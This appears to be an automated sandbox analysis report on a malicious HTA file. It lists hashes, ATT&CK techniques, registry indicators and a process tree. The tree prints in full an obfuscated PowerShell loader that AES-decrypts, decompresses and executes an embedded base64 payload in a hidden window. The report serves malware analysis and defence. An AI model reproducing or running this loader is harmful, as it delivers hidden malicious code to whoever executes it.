3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 11:26

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Report Analysis Logs

General

Target

163.5.169.28/SCAN-atoletter3.hta
Size

1.1MB
MD5

65a82ba108814502f8de8f9c918c1637
SHA1

81bb281aff6d485787f79558b2433a529af5d53b
SHA256

dceca8e7f6baca5bd3417c0e05a1e9e934a0c72fe36c79fd3aca451ea2168d76
SHA512

477a94c061e96c5b8cdc256e746eb9dbd57339c93bcbd90bb66e2b6d21a7ff9e35b3b0ac7eac7a4c2b308306b06178060c38bce1470f5d94af32d07a97ce2621
SSDEEP

1536:MUQr+podgEt/pvBYwPBONWBImr/l1vcmafSIm+lIWFWY7Cy5h7OIxeZeDG52VP+q:ArooW8vhXBHuV

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1268	powershell.exe
288	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
288	powershell.exe
288	powershell.exe
288	powershell.exe
1268	powershell.exe
1408	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	288	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 288	2324	mshta.exe	28
PID 2324 wrote to memory of 288	2324	mshta.exe	28
PID 2324 wrote to memory of 288	2324	mshta.exe	28
PID 2324 wrote to memory of 288	2324	mshta.exe	28
PID 288 wrote to memory of 1128	288	powershell.exe	30
PID 288 wrote to memory of 1128	288	powershell.exe	30
PID 288 wrote to memory of 1128	288	powershell.exe	30
PID 288 wrote to memory of 1128	288	powershell.exe	30
PID 1128 wrote to memory of 1268	1128	cmd.exe	32
PID 1128 wrote to memory of 1268	1128	cmd.exe	32
PID 1128 wrote to memory of 1268	1128	cmd.exe	32
PID 1128 wrote to memory of 1268	1128	cmd.exe	32
PID 1128 wrote to memory of 1408	1128	cmd.exe	33
PID 1128 wrote to memory of 1408	1128	cmd.exe	33
PID 1128 wrote to memory of 1408	1128	cmd.exe	33
PID 1128 wrote to memory of 1408	1128	cmd.exe	33

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter3.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:288
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1128
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1268
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
544a3382fb3cbfb2e2d3a43a3dde9e17

SHA1
29bba7886d9b91b34995716772c80f84edd75fff

SHA256
8887e4e700d3f1f20e29c3d78a9d44d2fc1b539efe6da2f89521dd22e16a68b1

SHA512
e64ee57e5e77c7dc951ae569b3aa2e9dfc643303d6209e292ea7bd83da13f3948db12913ca4264f8eb47a63c0665f3f12aaae24b4dcc179751abf0b4122a0879

Download Submit
memory/288-2-0x0000000002A40000-0x0000000002A80000-memory.dmp

Filesize
256KB

Download